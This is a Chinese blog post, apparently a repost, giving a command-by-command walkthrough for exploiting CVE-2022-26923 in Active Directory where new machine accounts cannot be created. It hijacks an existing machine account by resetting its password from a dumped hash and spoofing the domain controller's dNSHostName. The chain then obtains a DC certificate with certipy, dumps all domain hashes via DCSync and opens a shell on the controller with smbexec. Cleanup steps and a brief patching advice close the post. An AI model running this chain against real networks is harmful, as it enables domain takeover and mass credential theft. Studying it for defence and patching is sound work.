「域渗透」CVE-2022-26923在MAQ=0时的利用

admin 2025年1月16日23:38:19评论10 views字数 3898阅读12分59秒阅读模式

一、场景

MAQ,即MS-DS-Machine-Account-Quota,此属性是允许用户在域中创建的机器帐户的数量。

一般普通域用户可以新建10个机器账户,即MAQ=10。但是如果你进到一个域环境,发现当前域不允许新建机器账户(MAQ=0),也没有任何机器账户的权限,仅有域内普通账户权限一枚。这种情况下,如何利用 CVE-2022-26923 Windows Active Directory 域服务组件权限提升这个漏洞呢?

查看MAQ的值

python3 bloodyAD.py -d pentest.com -u saul -p 'admin!@#45' --host 10.10.100.8 getObjectAttributes 'DC=pentest,DC=com' ms-DS-MachineAccountQuota      {"ms-DS-MachineAccountQuota": 0}

二、思路

简单来说就是不允许新建,那就利用已有的机器账户。

一般域内普通账户拥有修改其对应机器账户的密码的权限,所以我们拥有域内普通用户凭据的情况下,可以查看是否有机器账户,我们通过修改其属性,然后就可以利用域内普通账户去执行后续的利用步骤。

那么我们怎么在只有域内普通账户权限、不知道机器账户原有密码的情况下,重置或修改其密码呢?

三、具体攻击步骤

1. 准备工作

环境简述

  • 域内普通用户:saul

  • 域内机器账户:win10-x64-test$

  • 域控:DC.pentest.com,机器IP:10.10.100.8

域内定位CA主机

在域内机器上执行

certutil -config - -ping

「域渗透」CVE-2022-26923在MAQ=0时的利用

注意,该命令会在查询的机器上面弹出窗口

「域渗透」CVE-2022-26923在MAQ=0时的利用

查看当前域普通用户的机器账户

假如已获取saul这个普通域用户的权限,查询objectSid

「域渗透」CVE-2022-26923在MAQ=0时的利用

查询当前hostname

「域渗透」CVE-2022-26923在MAQ=0时的利用

一般机器用户就是hostname加$,即win10-x64-test$

查看并保存此机器账户的 SPN

查看原来的SPN

「域渗透」CVE-2022-26923在MAQ=0时的利用

mark一下,方便后续恢复使用

RestrictedKrbHost/WIN10-X64-TEST
HOST/WIN10-X64-TEST
RestrictedKrbHost/win10-x64-test.pentest.com
HOST/win10-x64-test.pentest.com

2. 修改机器账户的密码

查看机器账户的属性

「域渗透」CVE-2022-26923在MAQ=0时的利用

saul可以修改其密码

而其实Everyone均可修改

「域渗透」CVE-2022-26923在MAQ=0时的利用

修改密码的前提条件

NTLM hash或密码至少知道一个,但我们就是不知道密码,所以还是要去抓hash。提权至管理员,抓取hash

「域渗透」CVE-2022-26923在MAQ=0时的利用

WIN10-X64-TEST$的NTLM hash为

78e9bf4a8b67e1d5f1effe39622b548a

利用SAMR协议修改密码和相关工具

这里用到了一个工具:changentlm.py。利用SAMR协议修改密码,需要知道NTLM hash或密码。现在有了NTLM hash,不知道明文密码也可以修改密码。

参考:

https://github.com/SecureAuthCorp/impacket/pull/1097

https://github.com/SecureAuthCorp/impacket/pull/1097/files

尝试修改密码

python3 changentlm.py pentest/saul:'admin!@#45' -user win10-x64-test$ -server DC -old-ntlm 78e9bf4a8b67e1d5f1effe39622b548a -new-pass NewPassw0rd -dc-ip 10.10.100.8

修改成功!此时机器账户的密码已被修改为NewPassw0rd

「域渗透」CVE-2022-26923在MAQ=0时的利用

3. 具体利用过程

修改机器账户的 servicePrincipalName

其实就是删除 WIN10-X64-TEST$ 账户中包含 dNSHostName的 servicePrincipalName属性值

python3 bloodyAD.py -d pentest.com -u saul -p 'admin!@#45' --host DC.pentest.com setAttribute 'CN=WIN10-X64-TEST,CN=Computers,DC=pentest,DC=com' servicePrincipalName '["RestrictedkrbHost/WIN10-X64-TEST","HOST/WIN10-X64-TEST"]'

「域渗透」CVE-2022-26923在MAQ=0时的利用

修改机器账户的DNSHostName

python3 bloodyAD.py -d pentest.com -u saul -p 'admin!@#45' --host DC.pentest.com setAttribute 'CN=WIN10-X64-TEST,CN=Computers,DC=pentest,DC=com' DNSHostName '["DC.pentest.com"]'

「域渗透」CVE-2022-26923在MAQ=0时的利用

成功修改

「域渗透」CVE-2022-26923在MAQ=0时的利用

通过certipy工具申请证书

通过 certipy 工具,为该机器账号申请证书,可以看到申请的证书是颁发给主机 DC.pentest.com 的,也就是说我们拿到了域控的证书:

certipy req pentest/WIN10-X64-TEST$:NewPassw0rd@DC -ca pentest-DC-CA -template Machine -dc-ip 10.10.100.8 -debug

「域渗透」CVE-2022-26923在MAQ=0时的利用

使用certipy工具获取域控的NT hash值

certipy auth -pfx dc.pfx -username DC$ -domain pentest.com -dc-ip 10.10.100.8

「域渗透」CVE-2022-26923在MAQ=0时的利用

转储用户hash(可选)

再利用 NT hash 值执行DCSync转储所有用户的hash:

python3 secretsdump.py pentest.com/DC$@DC -hashes :63c12b7872c72069402b5443f10985b6

「域渗透」CVE-2022-26923在MAQ=0时的利用

获取域控权限

wmiexec或smbexec都行,下面使用smbexec获取域控权限

cp ./dc.ccache /tmp/KRB5CCNAME='/tmp/dc.ccache' proxychains4 python3 smbexec.py -target-ip 10.10.100.8 -dc-ip 10.10.100.8 -k -no-pass @'DC.pentest.com'

「域渗透」CVE-2022-26923在MAQ=0时的利用

四、善后措施

恢复机器账户的 DNSHostName

命令如下:

python3 bloodyAD.py -d pentest.com -u saul -p 'admin!@#45' --host DC setAttribute 'CN=WIN10-X64-TEST,CN=Computers,DC=pentest,DC=com' DNSHostName '["WIN10-X64-TEST.pentest.com"]'python3 bloodyAD.py -d pentest.com -u saul -p 'admin!@#45' --host 10.10.100.8 getObjectAttributes 'CN=WIN10-X64-TEST,CN=Computers,DC=pentest,DC=com' dNSHostName

成功

「域渗透」CVE-2022-26923在MAQ=0时的利用

恢复机器账户的 SPN

攻击完成没有恢复 SPN 的话会出现信任关系丢失的情况。命令如下:

python3 bloodyAD.py -d pentest.com -u saul -p 'admin!@#45' --host DC setAttribute 'CN=WIN10-X64-TEST,CN=Computers,DC=pentest,DC=com' servicePrincipalName '["RestrictedkrbHost/WIN10-X64-TEST","HOST/WIN10-X64-TEST","RestrictedKrbHost/win10-x64-test.pentest.com","HOST/win10-x64-test.pentest.com"]'python3 bloodyAD.py -d pentest.com -u saul -p 'admin!@#45' --host 10.10.100.8 getObjectAttributes 'CN=WIN10-X64-TEST,CN=Computers,DC=pentest,DC=com' servicePrincipalName

成功修改

「域渗透」CVE-2022-26923在MAQ=0时的利用

恢复机器账户的密码

命令如下:

python3 changentlm.py pentest/saul:'admin!@#45' -user win10-x64-test$ -server DC -old-pass NewPassw0rd -new-ntlm 78e9bf4a8b67e1d5f1effe39622b548a -dc-ip 10.10.100.8

「域渗透」CVE-2022-26923在MAQ=0时的利用

五、总结

将域控的MAQ值设置为0,即不允许域内普通用户新建机器账户,只能算是一种缓解措施,因为攻击者可以利用已有的机器账户进行攻击,而不需要新建一个机器账户。及时打补丁和升级才是最稳妥的措施。

之前的CVE-2021-42278和CVE-2021-42287的漏洞也可以利用此思路来利用。

使

「域渗透」CVE-2022-26923在MAQ=0时的利用

原文始发于微信公众号(安道实验室):「域渗透」CVE-2022-26923在MAQ=0时的利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日23:38:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   「域渗透」CVE-2022-26923在MAQ=0时的利用https://cn-sec.com/archives/1081626.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息